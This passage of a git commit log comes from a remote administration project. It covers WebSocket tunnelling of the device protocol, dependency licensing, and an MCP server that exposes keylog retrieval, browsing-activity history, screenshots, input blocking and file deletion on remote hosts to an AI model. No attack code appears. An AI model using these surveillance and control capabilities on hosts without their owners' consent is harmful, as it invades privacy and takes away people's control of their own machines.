TLS_Ready), generate the frame mask from a per-channel PRNG inside the send
lock instead of an unseeded global rand(), make the transport flags and the WS
session's ready flag atomic, drop rather than send unframed application bytes
when a WS session has closed, and abort a protocol switch whose PEM fails to
load instead of moving to an entry that cannot connect.

The Go server now bounds the upgrade sniff even when ReadTimeout is zero, and
the design doc records the two-stage limiter, the login-based disarm and the
review items that stay as known limits.

The protocol switch's input prompt is cut down to "reverse-proxy entry
(host:port)" - the label static is only 81 dialog units wide, and the old
sentence ran to roughly three times that.

The three language files follow: en_US and zh_TW gain the shortened prompt and drop
the long key it replaced, the German file gains the protocol-switch block it never
had, and its WebSocket tip key is corrected - it had picked up a Go-server clause
the source string never carried, so the tip was never translated at all.

Co-Authored-By: deepseek-flash
2026-10-30 18:11:34 +01:00
yuanyuanxiang 99db28e2e2 Feature: Let the operator switch a live client's transport from the online list 2026-10-30 17:22:36 +01:00
yuanyuanxiang cc891e3670 Feature: Sniff WebSocket upgrades on the MFC server's device port 2026-10-30 17:22:17 +01:00
yuanyuanxiang d4f312c9d8 Feature: Tunnel the device protocol through a reverse proxy over WebSocket 2026-10-30 17:21:42 +01:00
yuanyuanxiang de621aa555 Compliance: Audit third-party dependencies and complete the license notices
Dependencies.md only covered compress/ and the injection libraries. Everything
else in the tree was undocumented, and LICENSE-THIRD-PARTY.txt was missing
three components that Dependencies.md already listed.

Added to Dependencies.md (23 entries):

  vendored source  KCP/ikcp, xxHash 0.8.3, tiny-AES-c, skCrypter,
                   cpp-httplib 0.14.3
  runtime / data   OpenSSL (Linux/macOS TLS and libsign.a HMAC), FRP
                   (Bin/res/frpc.dll, frps.dll), ip2region xdb v4, QQWry,
                   Microsoft DirectX SDK headers
  server-go        jwt 5.3.1, gorilla/websocket 1.5.3, klauspost/compress
                   1.18.2, zerolog 1.34.0, x/sync, x/text, lumberjack 2.2.1
                   plus 3 indirect modules
  android          androidx core-ktx 1.13.1, appcompat 1.7.0, Kotlin stdlib
                   2.1.21
  test             GoogleTest 1.14.0 (CMake FetchContent)

LICENSE-THIRD-PARTY.txt grows from 278 to 633 lines and 22 sections. Full text
is embedded for the short licenses (MIT, BSD, zlib, Unlicense); the Apache,
LGPL and GPL entries follow the file's existing style of terms + obligations +
where to obtain the text, rather than reproducing legal text by hand.

Three findings worth recording:

- x264 is GPL-2.0 and is linked statically (client/X264Encoder.cpp). The old
  file only stated that FFmpeg was built without GPL plugins, and never
  mentioned that x264 is linked separately. Section 21 now spells out the
  consequence: a binary containing x264 is a GPL-2.0 work unless covered by a
  commercial x264 license.

- FFmpeg is linked STATICALLY, not dynamically as the old text claimed. There
  is no av*.dll anywhere in the tree; the pragmas reference libavcodec_x64.lib
  and friends. Section 19 is rewritten around LGPL-2.1 section 6 and quotes the
  configure line recovered from libavutil, which also shows the build is
  decode-only (--disable-encoders). That means x264 is the product's only
  H.264 encoder, so DISABLE_X264_FOR_TEST=1 leaves no encoder at all and the
  client degrades to RGB565.

- The FRP binaries report buildinfo v0.69.2-...+d58c00d0332c+dirty. The "+dirty"
  means the FRP sources were modified locally, and Apache-2.0 section 4(b)
  requires modified files to carry a prominent change notice.
2026-10-30 11:04:54 +01:00
yuanyuanxiang 82f59b2469 Fix: Make the x264 opt-out real, and unchain libyuv from it
DISABLE_X264_FOR_TEST never actually removed the x264 dependency. Two
separate reasons:

1. X264Encoder.h included <x264/x264.h> unconditionally and only pulled in
   common/config.h afterwards, so the macro was not even visible at the point
   where it mattered. The class also carried x264_t / x264_picture_t /
   x264_param_t members, so the header was required to compile regardless of
   the switch. Moving the config.h include to the top and splitting the class
   declaration in two fixes it: with the switch on, the class is a stub with
   no x264 types at all, and open() returns false so EncoderFactory falls
   through. The open(x264_param_t*) overload is dropped in that branch; it had
   no callers outside X264Encoder.cpp.

2. libyuv was collateral damage. Its only #pragma comment(lib) lived inside
   the #else branch of the x264 switch, but CFFmpegAV1Encoder.cpp and
   CFFmpegH264Encoder.cpp both call libyuv::RGB24ToI420 / ARGBToNV12 /
   I420ToNV12 without carrying a pragma of their own. Turning x264 off
   therefore dropped libyuv too and the link failed with LNK2001 on those
   three symbols. libyuv is BSD-3 and unrelated to x264: the pragma is now
   unconditional in X264Encoder.cpp, and CFFmpegH264Encoder.cpp declares it
   alongside its ffmpeg libs so the encoder pair is self-sufficient.

Verified with Release x64 builds of both ServerDll and ghost:

  switches 0/0, compress/ intact          -> builds
  switch x264=1, compress/x264 deleted    -> builds (was LNK2001 before)
  switches 1/1, both dirs deleted         -> builds

So a compliant build needs neither the x264 library nor its headers.

Note for anyone flipping these switches: do a full rebuild, not an
incremental one. config.h reaches X264Encoder.cpp indirectly through
X264Encoder.h, which the .tlog dependency tracking does not record, so an
incremental build happily links a stale object against a freshly compiled one
and reports bogus LNK2001 errors.
2026-10-30 11:04:44 +01:00
yuanyuanxianganddeepseek-flash 1d875ddbd1 Feature: Add a "Copy Name" item to the online host context menu
The online list already lets an operator copy everything about a host
through "Copy Client Info", but there was no quick way to grab just the
names, which is what people actually paste into a chat or a ticket. The
new menu item sits directly below "Edit Group" and copies the names of
all selected hosts to the clipboard, separated by semicolons.

"Name" means what the first column of the list shows: the remark when one
has been set, otherwise the computer name. The column text is CP_ACP, so
the handler decodes it the same way OnGetdispinfo does; that keeps the
copied text identical to what is on screen, including for Chinese remarks.
Clipboard writing reuses the existing UTF-8 based SetClipboardText helper
instead of growing a third copy of the same CF_UNICODETEXT code.

The item also gets its own 16x16 icon (two stacked cards with text bars,
drawn on the usual 240,240,240 background) loaded into a newly added
m_bmOnline[75] slot, and translations were added for English, German and
Traditional Chinese so the item does not fall back to simplified Chinese
when another UI language is active. The user manual and the resource
README were updated to match.

Co-Authored-By: deepseek-flash
2026-10-29 22:06:33 +01:00
yuanyuanxiang dcb5ae25c6 Fix: Paginate get_activity_history results
The tool was the only list-type tool without pagination. The client keeps
ACTIVITY_HISTORY_MAX=500 records and Dump() prepends the in-progress window,
so a single call returned up to 501 lines of "[time] [title] duration" --
enough to blow up the caller's context, especially since titles carry
personal browsing history.

Records come back newest-first (m_records uses push_front and the current
window is prepended), so the standard limit/offset window applies directly:
offset=0 is the most recent page, no need to read total first and count
backwards. That ordering is now stated in the tool description so the model
can rely on it.

- inputSchema: BuildGetHostDetailInputSchema -> BuildPagedHostListInputSchema
  (adds limit, default 100 / max 1000, and offset)
- outputSchema: append AppendPageOutputProps plus truncated
- implementation: rename the full split to `all`, slice via ResolvePageWindow
  and ApplyPageWindow, write back with WritePageFields
- activityHistory is rebuilt from the window instead of returning the whole
  Dump() text -- otherwise the raw copy would bypass pagination entirely
- 64 KB byte budget (same as get_client_log), trimmed from the end so the
  newest records survive; hasMore is computed as offset+kept < total rather
  than hardcoded true, since a single oversized tail record must not claim
  there is another page

Batch calls need no extra work: the tool is already in IsBatchReadOnlyTool,
and BuildBatchCall forwards limit/offset to each host, so ids + limit means
"the latest N records of every host".

Compiles clean; not yet exercised against a running server (the exe was
locked by the live instance). Verification cases are listed in
docs/Mcp_Test_Report_2026-10-29.md section 8.
2026-10-29 21:37:02 +01:00
yuanyuanxianganddeepseek-flash 56a937fabb Fix: Three blocking defects found by the MCP tool survey
The survey in docs/Mcp_Test_Report_2026-10-29.md turned up three P0s, each
of which stopped a whole capability rather than degrading it. Two of them
were the same mistake: the input schema promised something the output
schema then rejected. The third was an output with no size limit, plus a
client that never implemented the command at all.

Batch calls could never succeed. A call carrying ids[] goes through
BuildBatchCall, which returns {tool, total, succeeded, failed, skipped,
results[]}; every tool declares only the single-host shape. The client
validates structuredContent against that declaration, so any batch call
failed with -32602: data must have required property 'host' - the input
schema advertises ids, the output schema kills it. Tools/call cannot fix
this one call at a time, so ApplyBatchOutputSchema runs at the end of
tools/list, next to ApplyToolAnnotations, and rewrites the schema of every
tool in the batch list to {type: object, anyOf: [single, batch]}. Placing
it at the end is what makes it cover all three registration points
(inline, McpMachine, McpChat) and any tool added later. IsBatchReadOnlyTool
moved from McpServer.cpp to McpInternal.cpp for the same reason: the list
is now read by tools/call and tools/list, and the two must not drift.

list_registry failed whenever path was omitted. The root-key branch
returns keys only, while the output schema listed values in required as
well, so the first usage the documentation describes - omit path, get the
five root keys - could not work. values is no longer required and the
schema says it is absent in that branch. The root branch also returns
path: "" now, so both branches carry the same field set and callers need
not branch.

get_client_log was unusable on both platforms, for two unrelated reasons.
Windows returned the whole 1000-line ring buffer, 90,473 characters, over
the client's result limit: fetched, then not deliverable. Linux and macOS
timed out because their clients never handled COMMAND_QUERY_LOG at all -
only client/ClientLogManager.cpp does - so TOKEN_REPORT_LOG never arrived.
Adding a limit alone would have left Linux broken; fixing the client alone
would have left Windows over the limit.

The server now takes limit (default 200, max 2000) and filter, and reads
backwards from the end: troubleshooting wants the last thing that happened,
not the first line after boot. A 64 KB byte budget sits under the line
count, because one line can be a stack dump; when the final line alone
exceeds it, the tail is returned and truncated says so. Responses carry
lines_total, lines_matched, lines_returned and truncated. The timeout
message now names the likely cause and two ways around it instead of
saying only "Timeout waiting for client log".

The POSIX clients get common/ClientLogHandler.h, a counterpart to the
Windows CClientLogManager, and one line each in linux/main.cpp and
macos/main.mm. It must open a sub-connection: MessageHandle's
TOKEN_REPORT_LOG branch takes the first packet and then calls CancelIO on
that connection, so answering on the main connection would close the main
connection and drop the client offline.

Verified against a server built at 21:17:21 with both clients rebuilt. A
batch get_host_detail over the two A6 records returns succeeded=2 with
per-host data; host_list_processes with ids returns 2 of 2, which exercises
the McpMachine registration point rather than the inline one; a mixed
Windows/Linux batch of get_client_log returns 2 of 2. list_registry with
no path returns the five root keys and path ""; with a path it still
returns its values. get_client_log on Windows goes from 1000 lines to 200
with truncated=true, and limit=3 with filter=ConnAuth yields 28 matched and
3 returned. On Ubuntu 24.04 it returns logs at all, and the client's own
log shows Enter ClientLogThread, TOKEN_REPORT_LOG, then Leave about a
second later when the server cancels the connection - paired, no leak.

The connector still caches an old input schema for get_client_log, so
limit and filter are rejected locally until it reconnects; the defaults
already cover the P0, and this is the same cache problem as the
copy_files_c2c.overwrite entry in the report's P1 list.

docs/Mcp_Design.md section 18 records the implementation and the reasoning;
section 7 of the test report carries the verification table.

Co-Authored-By: deepseek-flash
2026-10-29 21:22:43 +01:00
yuanyuanxianganddeepseek-flash dc4fd792f6 Feature: Implement the Linux screen preview response
The Linux client now answers COMMAND_SCREEN_PREVIEW_REQ, so a host with
an X11 desktop gets a thumbnail when it is double-clicked in the online
list, a frame in the list's Preview column, and an image from the MCP
get_screenshot tool. Previously only Windows clients advertised the
capability and Linux hosts showed "预览不可用" after a four second wait.

The client does not encode JPEG. Stock desktops ship libjpeg.so.8 whose
struct layout is the distribution's ABI (JPEG_LIB_VERSION 80), while the
in-tree jpeglib.h is libjpeg-turbo 3.1.1 (62), and libturbojpeg is not
installed by default; dlopening the system library against that header
fails with "Wrong JPEG library version: library is 80, caller expects
62". Instead the client sends raw pixels in a new screen preview format,
SCREEN_PREVIEW_FMT_BGRX: top-down rows of B,G,R,X with no row padding,
already scaled to the requested width. The server re-encodes to JPEG at
the single ingress point, so the preview popup, the list thumbnail cache
and the MCP tool keep consuming JPEG only.

Capture follows the path ScreenHandler already uses: root window copied
into an offscreen pixmap with an IncludeInferiors GC, then XGetImage,
which avoids BadMatch under compositing window managers. The X11 type
declarations and the dlopen loader moved out of ScreenHandler.h into
linux/X11Loader.h so both users share one dlsym table. The full-size
image is never materialized: a box filter reads straight from the
XImage rows (honouring bytes_per_line) into the output buffer, scales to
maxWidth without upscaling, and clamps the height to 1080 so a portrait
4K desktop cannot produce a 26 MB packet. Rows and columns come out
even, which they are for JPEG anyway.

The capability bit is now honest about the runtime. LOGIN_INFOR grows
DefaultCaps()/SetCaps(), and the client recomputes the bits before every
login and re-login: CLIENT_CAP_SCREEN_PREVIEW is set only when DISPLAY is
present and the X server actually opens. A headless host therefore gets
-32005 "Host does not support screen preview" from MCP instead of a
timeout, and a host whose session appears after boot picks it up on the
next reconnect. Requests are handled on a detached worker thread behind
a single-flight guard (matching the Windows client), so a slow XGetImage
never stalls the receive thread and a burst of requests degrades to "no
preview" rather than queueing. If the worker thread cannot be created,
the guard is released again, so one failure cannot leave every later
request rejected as busy until the client restarts.

The MCP design note claimed the capability was declared by Windows only,
and the get_screenshot tool description said the same; both now say what
the code does (Windows always, Linux when a display is reachable).

Server side, NormalizeScreenPreviewPacket runs in MessageHandle before
the MCP handoff and the PostMessage to the UI thread. It validates that
width/height are within the values the server itself can ask for and
that bytes equals width*height*4, converts with a stack Gdiplus::Bitmap
over the packet's own pixels (no copy, and no DEBUG_NEW trouble), and
rewrites the header to JPEG. The encoder output is read back by seeking
the stream rather than GlobalSize, so the packet carries no heap-block
padding after the EOI marker. Malformed packets are dropped; failure
statuses pass through untouched so the existing code can report them.

Tested against a Debug server with the WSL Ubuntu 24.04 build as the
client. get_screenshot returned valid JPEGs at max_width 480 (480x142,
1.7 KB) and 1920 (1920x570, 17.9 KB), repeatably; the list showed a
thumbnail for the GUI client and N/A for a second copy started without
DISPLAY, which also answered -32005. The box filter and the BGRX to JPEG
conversion were checked separately with quadrant fixtures: the browser
over the synthetic B,G,R,X buffer recovers red/green/blue/white in the
right channels and the downscale averages, handles non-integer ratios
and row padding, and rejects 24bpp and upscaling. The captured frames
come out black under WSLg because Xwayland keeps no root pixmap there;
that is the compositor, not this code, and Xorg sessions capture
normally.

Co-Authored-By: deepseek-flash
2026-10-29 18:12:15 +01:00
yuanyuanxianganddeepseek-flash 5bff9df3fc Improve: Harden the self-implemented SOCKS5 proxy listener
Follow-up to the HP-Socket replacement: the four items the first pass
deliberately left out, plus two defects that the new tests turned up.

The listener now binds 127.0.0.1 instead of INADDR_ANY. The dialog only
ever points the user (and the Chrome shortcut) at 127.0.0.1, and an
unauthenticated SOCKS5 port open on every interface is an open proxy.

The SOCKS5 handshake is parsed as a byte stream. The previous code
assumed one callback carried exactly one message, which happens to hold
for curl and Chrome but not in general: a greeting split across segments
was answered twice, and a CONNECT request followed by tunnel data in the
same read dropped the trailing bytes. Each connection now keeps a pending
buffer and a four-state machine (greeting, request, connecting, tunnel),
and bytes that arrive before CONNECT_RESULT are replayed to the client
once the tunnel opens, after the SOCKS5 reply.

Flow control: the listener takes a PROXYCANRECVPROC callback that is
consulted before each recv. The dialog answers it from the main
connection's send queue, so a download that outruns the client link
pauses the local read instead of growing the server's buffer. A 300MB
transfer through the tunnel peaks 150KB above the idle working set.

Handshake watchdog: sessions that stall in greeting/request/connecting
are dropped after 30 seconds; established tunnels are left alone.

Two defects in the log path, both surfaced by the watchdog test. Logging
every 32KB chunk produced roughly 9000 posted messages for a 300MB
transfer, which starved the UI thread's timers (the first watchdog run
never fired) and could overflow the message queue; and every line re-set
the whole 256KB text into the read-only edit. Transfers now log
cumulative progress once per second and a per-connection total at
teardown, panes are refreshed at most every 100ms from a dirty flag, and
a failed PostMessage no longer leaks its CString.

Localization: the new session-log strings were also added to en_US.ini,
zh_TW.ini and de_DE.ini (16 keys each, GBK, kept in the existing
FormatL section). Two of the lines were reworded instead of translated
as-is: the close notice now says what happened (the client asked to
close, or the downlink send failed) rather than printing the protocol
token name, and the throughput arrows are now << and >> because
CIniParser splits an entry at the first '=', so the old <== and ==>
could never have served as keys.

Testing: curl IPv4 and hostname tunnels, 4MB and 300MB transfers
byte-identical, byte-at-a-time and pipelined handshakes, refused target
(REP=5), SOCKS client killed mid-transfer, client process killed
mid-transfer (dialog closes, port released), 20 parallel connections,
five open/close cycles with no handle or thread growth, and the 30s
handshake timeout. The dialog log was checked at runtime with
Language=en_US and renders in English only.

Co-Authored-By: deepseek-flash
2026-10-29 16:12:14 +01:00
yuanyuanxianganddeepseek-flash 45e1dd9f6c Feature: Implement the proxy mapping listener without HP-Socket
The proxy mapping dialog ("代理映射") depended on HP-Socket: three vendored
SDK headers (4787 lines) plus #pragma comment(lib) lines pulling in four
prebuilt lib/DLL variants, all guarded by ENABLE_HPSOCKET, which has been 0
since the initial commit -- so the feature was dead code that only answered
"This feature is unavailable due to HPSocket disabled" and no build of this
repository ever ran it.

Replace that dependency with a small listener built on blocking sockets and
select, which is the same approach the client's CProxyManager and the
server's own SimpleWebSocket already take. The accept loop polls every
200 ms so Shutdown can return without closing a socket another thread is
selecting on, and each accepted connection gets a relay thread that only
has to recv and hand bytes to the dialog. Connection sockets are closed by
their relay thread alone; Disconnect only raises a stop flag and calls
shutdown() under the same lock the relay thread takes before closesocket,
so a recycled handle is never shut down by mistake. Finished threads are
parked in a graveyard and joined by the accept thread, which keeps the
thread handle count flat across open/close cycles.

ProxyMapDlg keeps the SOCKS5 state machine it had, but now stores its
per-connection state in a map keyed by the connection id instead of
relying on HP-Socket's GetConnectionExtra, and it logs through a posted
window message rather than touching CEdit from worker threads. The two log
panes in IDD_PROXY are ES_READONLY, so EM_REPLACESEL was silently ignored
(the original code had the same latent bug); the dialog now keeps the pane
text itself and writes it with SetWindowText, bounded to 256 KB per pane.

The vcxproj and filters lose the three SDK headers, and the dialog gate in
OnOpenProxyDialog loses its ENABLE_HPSOCKET check.

Tested against a Debug server with a Debug Windows client on the same
host: curl through the listener succeeds over both the IPv4 and the
hostname ATYP paths, a 4 MB transfer arrives byte-identical, a refused
target maps to SOCKS5 reply 5, killing the client mid-transfer closes the
dialog and releases the port, and five open/close cycles leave the server's
handle and thread counts unchanged.

Co-Authored-By: deepseek-flash
2026-10-29 15:37:16 +01:00
yuanyuanxianganddeepseek-flash 13c02fe50b Feature: Skip already-present targets in copy_files_c2c
The destination writes every chunk unconditionally, so a second call with
the same arguments re-sent the whole file and returned exactly the same
result as the first. Measured on an 11 MB log: the target's mtime moved
and the entry count did not, and the caller had no way to tell a real
transfer from a repeat. upload_file and download_file already answer this
with overwrite/skipped; copy_files_c2c was the one that did not.

The skip decision has to be made on the server, because the receiving end
does not check whether the file exists. Before opening the transfer, a
default call now lists one level of dst_dir through ListRemoteTopLevelNames
- the helper upload_file already uses - and drops the paths whose basename
is already there. If everything is dropped the call returns success
without creating a transfer id at all, so no host is occupied and nothing
is sent. overwrite=true restores the old unconditional behaviour.

Name comparison follows the destination filesystem: folded on Windows,
exact on POSIX. That needed a foldCase parameter on the helper, defaulted
to true so upload_file keeps its behaviour.

dst_dir is handed to the listing without its trailing separator, because
the client concatenates "%s\*.*" and a trailing one produces "C://*.*",
which FindFirstFile rejects. search_file hit the same thing.

No protocol change and no client change: the packet layout, the receiver
and both client platforms are untouched.

Verified against a real server (build 2026-10-29 14:34:33) with a Windows
11 source and both an Ubuntu 24.04 and a Windows 11 destination. A second
default call returns file_count=0, skipped=1, an empty transfer_id and
skip_check_failed=false with the target's mtime unchanged; overwrite=true
advances the mtime (1793276909 -> 1793281657) and reports skipped=0; a
call into a non-existent directory creates it and lands the file flat; a
Windows destination folds case, so a placeholder SETTINGS.INI makes a
later settings.ini skip, while a POSIX destination leaves both files side
by side.

One documented case does not hold, and the expectation was mine rather
than the code's. "Destination occupied by another tool" was supposed to
fail the pre-check and still transfer with skip_check_failed=true, but
BeginC2CTransfer consults the same m_Pending registry for src_id and
dst_id, so the transfer is refused with -32003 before the fallback can
carry it. The other door - a directory that can be written but not listed
- showed the pre-check succeeding instead of failing: the Linux client
reports EACCES as an empty directory rather than TOKEN_FILE_LIST_ERROR,
so the call goes on to overwrite. skip_check_failed is therefore a
timeout backstop that is hard to reach deliberately; the field stays, and
14.9.2 no longer claims that a busy host reaches the fallback.

Section 14.9 of the design doc records the contract, those results, and
one wrong turn worth keeping: an earlier round concluded that single-file
C2C nested the whole absolute path under dst_dir, and added receiver-side
hardening for it. The nesting came from the ad-hoc JSON-RPC test harness,
which passed JSON on the command line where the shell folded \\ into \/
before Python parsed it, so the source client received a path with no
backslashes left and its basename fallback - which looks for a backslash
- returned the whole path. The same file sent through the real MCP client
produces a clean basename. That hardening has been reverted; the defect
was in the test, not the product.

Co-Authored-By: deepseek-flash
2026-10-29 15:03:32 +01:00
yuanyuanxianganddeepseek-flash cd10d0cc1b Docs: Bring the MCP plan up to date after P10 and P11
The plan was written when the server had 54 tools in eight families, and
every batch since then changed the facts it states: P10-B added the three
file-write tools, P10-C the input lock, P11 the two session tools and the
protocol work. Read as-is, the plan would send the next person looking for
work that is already done, so the numbers, the family table and the batch
table now describe the 60 tools that actually exist.

The family table was rebuilt from the registration sites rather than from
the previous table: nine families, and the gating column now separates
"appears in tools/list" from "callable", which the old table conflated.
That distinction also fixes the default-config figure - 19 tools, not the
20 stated earlier: get_keylog needs McpKeylog, download_file needs
McpFileTransfer, and list_network_connections lives in the McpMachine
family, so with a default of read-only and every switch off only the
nine server-local read tools, eight read tools on the host and the two
remark/watch tools remain.

Section 5.10's field list for mcp_list_sessions was a guess written
before the tool existed; it now carries the eight fields that D.5
actually returns, with the original guess kept so the change is visible.
The two stale rows in 5.14 and the outdated header comment in 5.13 are
marked done against the commits that did them - bb55f52 bumped the
comment from 53 to 54, 3d388f8 dropped the number altogether when it
added remote_block_input, and every hash cited here was checked to be an
ancestor of HEAD so none of them points at the merged-away history.
Sections 5.1 to 5.10 gained completion markers, with 5.7 marked partial
because verified landed and verify_hint did not.

Everything in this diff is bookkeeping; no code, no behaviour, and no
claim in section 5.11 or the tools/list volume discussion changed.

Co-Authored-By: deepseek-flash
2026-10-28 23:39:13 +01:00
yuanyuanxianganddeepseek-flash 1c832ff7f2 Feature: Add MCP cancellation, progress notifications and dry runs
P11 closes the plan's last batch, entirely on the server side: no client
change is required for any of it.

Long-running tools now expose a cancellation flag that every wait loop
checks in 500 ms slices. A cancelled tool returns through the cleanup
branch it already had (late first packets still get absorbed, sub
connections still get closed, pending entries still get deleted), so
there is no second cleanup path to keep in sync, and the host is released
within a second. Three sources set the flag: notifications/cancelled
(matched on the exact JSON-RPC id, with a fallback to the display form so
a request_id copied out of the session list round-trips), mcp_cancel_session
(by request_id, host id or session id), and a failed SSE write when the
client has gone away. The dispatcher rewrites a cancel-induced failure to
-32800 so callers do not mistake it for a host fault.

tools/call requests carrying _meta.progressToken are answered as
text/event-stream on the same POST: the tool runs on its own thread and
both the notifications/progress events and the final JSON-RPC response go
out through one chunked provider. Requests without a token are unchanged.
download_file reports files done vs. expected, upload_file reports bytes
sent vs. total.

Two new local-only tools, mcp_list_sessions and mcp_cancel_session, list
and cancel in-flight sessions (calls, pending one-shots, terminal, remote
control, file transfer, chat). They are deliberately not gated by the
feature switches or readonly mode, since that is the only way out of a
stuck request. The -32003 busy message now names the occupier:
"Device busy: ... (tool=download_file, elapsed=12s)".

power_action gains wait/wait_ms to verify the result against the main
connection's presence (went_offline, came_back, elapsed_ms); not seeing
the transition is reported as ok, not as a failure. kill_process,
operate_window and the four host_control_* tools accept dry_run, which
validates the target against one fresh snapshot and returns what would be
affected without sending anything. Validation rejections now use -32012;
-32008 stays as documented historical alias.

One implementation note worth recording: the per-thread call context uses
FLS, not thread_local. Any static thread_local in this server crashes the
process about a second after start, because some threads come from
shellcode/MemoryModule images that never ran PE TLS initialisation.

Verified against a real Debug server and a real Windows client over MCP:
the smoke test now passes 104 checks with 0 failures, including
cancellation releasing the host in under a second, the cancelled request
returning -32800, notifications/cancelled returning 202, 63 progress
events with exact byte counts for a 64 MB upload, and a cleanly
terminated SSE stream. Not exercised in this pass: power_action's
wait=true path (it would take the test host down) and the -32006
readonly/switch-off section (every switch was on during the run).

Co-Authored-By: deepseek-flash
2026-10-28 21:25:49 +01:00
yuanyuanxianganddeepseek-flash 3d388f8e45 Feature: Add remote_block_input to MCP remote control
A GUI automation run is interrupted the moment a person at the host touches
the mouse, and locking the host's keyboard and mouse is the standard answer.
The client already implements COMMAND_SCREEN_BLOCK_INPUT and the MFC screen
window already sends it, so the tool needs no client change: it puts the same
two-byte packet [COMMAND_SCREEN_BLOCK_INPUT][0|1] on the hidden screen
sub-connection that remote_open established. The gate is remote_open's own -
McpRemoteControl=1 and McpReadonly=0 - because the ability to lock someone out
deserves exactly the same door as the ability to drive their desktop, and
Linux and Android clients are refused with -32005: they have no branch for
this packet at all and would silently ignore it.

Locking a host out is only acceptable if every way back in is closed, so the
session now carries its own lock state and three paths release it. block=false
releases it directly. block=true always carries a deadline (max_block_ms,
default 300000, clamped to 1000..3600000) and a watchdog thread started with
the MCP server sweeps every 500ms for expired locks, sends the release and
records it; the next remote_block_input reports it as auto_unblocked so the
model learns that its lock lapsed instead of assuming it is still held.
remote_close and the idle reclaim both send block=false before they tear the
sub-connection down, because once that connection is gone the server has no
channel left and a live client process stays blocked - all three release
paths write an audit line, since none of them is something a person can see.

The send happens outside the MCP lock, and the watchdog takes the session's
busy flag while it releases, so it cannot interleave with an injection or race
a close; a failed send keeps the lock marked and retries five seconds later
rather than hammering a dead connection every tick, and a session that dies
under the watchdog is erased the same way an injection would erase it.

Verified against a real Windows client over MCP on a Debug x64 build: block
then unblock, block with a 1.5-2s deadline left to expire and reported back as
auto_unblocked with the watchdog audit entry at the expected second, block
with a ten-minute deadline then remote_close with "(input lock forced off)"
in the audit, and the five refusals (missing block, non-boolean block,
max_block_ms out of range, unknown session, offline host). The smoke test
gained [4d] for those refusals; 54 checks pass. Two limits are worth stating
plainly. BlockInput only works when the calling process is elevated (or
UIAccess), the client ignores the API's return value, so on an ordinary
client the lock silently does nothing and the tool can only promise that the
command was delivered - both the tool description and the server instructions
say so. And the idle-reclaim release, like the two verified paths, is only
exercised at a 300s idle timeout; it shares the same send helper and was
reviewed rather than timed out live. Bin/settings.ini was restored
byte-exact and the Release instance was left alone.

Co-Authored-By: deepseek-flash
2026-10-28 21:25:47 +01:00
yuanyuanxianganddeepseek-flash 27b5431130 Feature: Add the file-write tools behind their own switch
P10-B adds delete_path, move_path and create_folder, and the switch they
need. Reusing McpFileTransfer would have been wrong: uploading overwrites a
file, deleting destroys a tree, and an operator who wants one may well not
want the other. McpFileWrite is therefore a separate key, off by default,
wired the way every other switch is - read from settings.ini at startup,
reported as get_server_status.switches.file_write, and exposed with its own
checkbox in the MCP settings dialog. The tools additionally require readonly
to be off: a read-only server has no business modifying a host.

No client change was needed: COMMAND_DELETE_FILE, COMMAND_DELETE_DIRECTORY,
COMMAND_CREATE_FOLDER and COMMAND_RENAME_FILE already existed in the Windows
file manager. The chain reuses the file-manager sub-connection and adds a
phase - the main connection asks for the drive list, the sub-connection's
first packet hands it to OnDriveList which sends the write command, and the
client's TOKEN_*_FINISH ack moves the pending request from phase 0 to 1,
where the tool sends COMMAND_LIST_FILES for the parent so the ack and the
confirmation share one timeout. Only the IO thread touches the
sub-connection; the tool thread just waits on the shared condvar, which keeps
the sub-connection's lifetime out of its reach.

The confirmation exists because the client answers unconditionally: it
ignores the return values of DeleteFile, MoveFile and
MakeSureDirectoryPathExists and there is no error token. ok therefore only
means "the command arrived", and verified is the real answer - true when the
parent listing shows the expected post-state, false when it shows the
opposite, null when the listing itself did not come back (timeout or
disconnect), since reporting that as false would be a lie. Linux, macOS and
Android hosts are refused outright: those clients decode these paths as GBK
while the server speaks UTF-8 to them for list_files, so a non-ASCII path
would corrupt rather than fail. Paths are validated as UTF-8, converted to
GBK exactly once, and reject %VAR%, relative paths, drive and share roots,
and - for delete_path and for move_path's source - the Windows, Program
Files, ProgramData, $Recycle.Bin and System Volume Information trees.
create_folder gets no system-directory ban, because writing there is the same
permission upload_file already has.

Two defects surfaced while exercising this against a real client:
create_folder's wire path has to end with a backslash, because
MakeSureDirectoryPathExists treats a non-terminated last component as a file
name and only creates the intermediate levels; and
ResolveFileOpVerified(LookupInListing(...), isDir, ...) read isDir before the
lookup ever set it - argument evaluation order is unspecified and MSVC
evaluates right to left - so every create_folder reported verified=false even
when the directory existed.

Verified on a Debug x64 build against a Windows client over MCP: nested
create_folder, upload, rename, delete, delete a tree, the failure shapes
(delete with recursive=false on a directory, create_folder onto an existing
file name, delete of a non-existent target) and every refusal (drive root,
C:\Windows\Temp, C:\Users, %TEMP%, relative, empty, over-long, from==to,
offline host, non-numeric id), with a Chinese-named directory created,
renamed and deleted end to end; no file-manager window appeared in the server
process during any of it. The smoke test gained section [4c], opt-in through
-FileWriteDir, which asserts verified and never ok and walks a sandbox
through the same path; two runs passed 69 checks with the sandbox removed
afterwards. Bin/settings.ini was restored byte-exact and the Release
instance was left alone.

Co-Authored-By: deepseek-flash
2026-10-28 21:25:46 +01:00
yuanyuanxianganddeepseek-flash bb55f52b29 Feature: Add instructions, capability reporting and filters to MCP
P10-A is the first batch of the next MCP phase: the server now tells a model
how it expects to be driven instead of leaving the rules to be inferred from
per-tool descriptions.

initialize carries the instructions field that MCP 2025-06-18 defines, in
five sections: where host ids come from, which switch hides which tool, what
each error code implies for the next action, typical orchestrations, and
safety. Every statement was checked against the implementation rather than
derived from the tool descriptions, and four did not survive: the host_*
family only supports name/pid filters in part (named per tool now), read-only
mode does not hide host_set_remark and host_set_watch_level (they touch only
the local host store and are refused with -32006 when called), -32003 is one
lock keyed by device id rather than one per capability, and there is no
"screen stream" tool to pick instead of get_screenshot. The string is built
from u8 literals because the project compiles with /execution-charset:.936.

get_host_detail returns a capabilities object (platform, screenPreview,
remoteControl, fileTransferV2, c2cPaths, registry), each flag tied to a gate
that already exists in the dispatcher, so a model no longer discovers a
host's limits by calling and reading -32005. remoteControl mirrors the two
conditions remote_* actually applies (Windows or Linux, and not
multi-monitor), not the preview bit. Making the flags honest exposed
list_registry rejecting only LNX and MAC, so an APK host passed and then
waited out the timeout; it now uses the same is-Windows predicate the bit is
computed from. That predicate existed as identical local copies in
McpMachine.cpp and McpChat.cpp and now lives in McpInternal.

list_processes and list_windows take an optional name and pid, filtered on
the server before the page window is applied, with total counting matches
and totalAll still reporting the unfiltered count. The two tools get their
own schema builder so list_services does not advertise a filter it would
silently ignore, and the pid descriptions differ because a pid means the
